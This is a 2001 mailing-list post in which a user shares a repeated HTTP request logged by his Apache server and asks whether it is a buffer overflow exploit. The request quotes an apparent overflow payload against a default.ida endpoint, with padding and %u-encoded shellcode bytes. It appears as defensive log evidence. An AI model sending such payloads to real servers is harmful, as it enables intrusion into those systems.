[ILUG-BOM] Web server buffer overflows

Thu Jul 19 19:00:06 IST 2001

Somebody's trying to request this: (adjusted to fit the page)

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9
090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u00
78%u0000%u00=a

from my web server (Apache 1.3.17)

Does it look like a standard buffer overflow exploit?  Doesn't seem to
have caused any harm yet, but this has been tried over and over again.

Philip

-- 
I got a new shadow. I had to get rid of the other one
    --  it wasn't doing what I was doing.
						-- Stephen Wright

Visit my webpage at http://www.ncst.ernet.in/~philip/
Read my writings at http://www.ncst.ernet.in/~philip/writings/

  MSN  philiptellis                         Yahoo!  philiptellis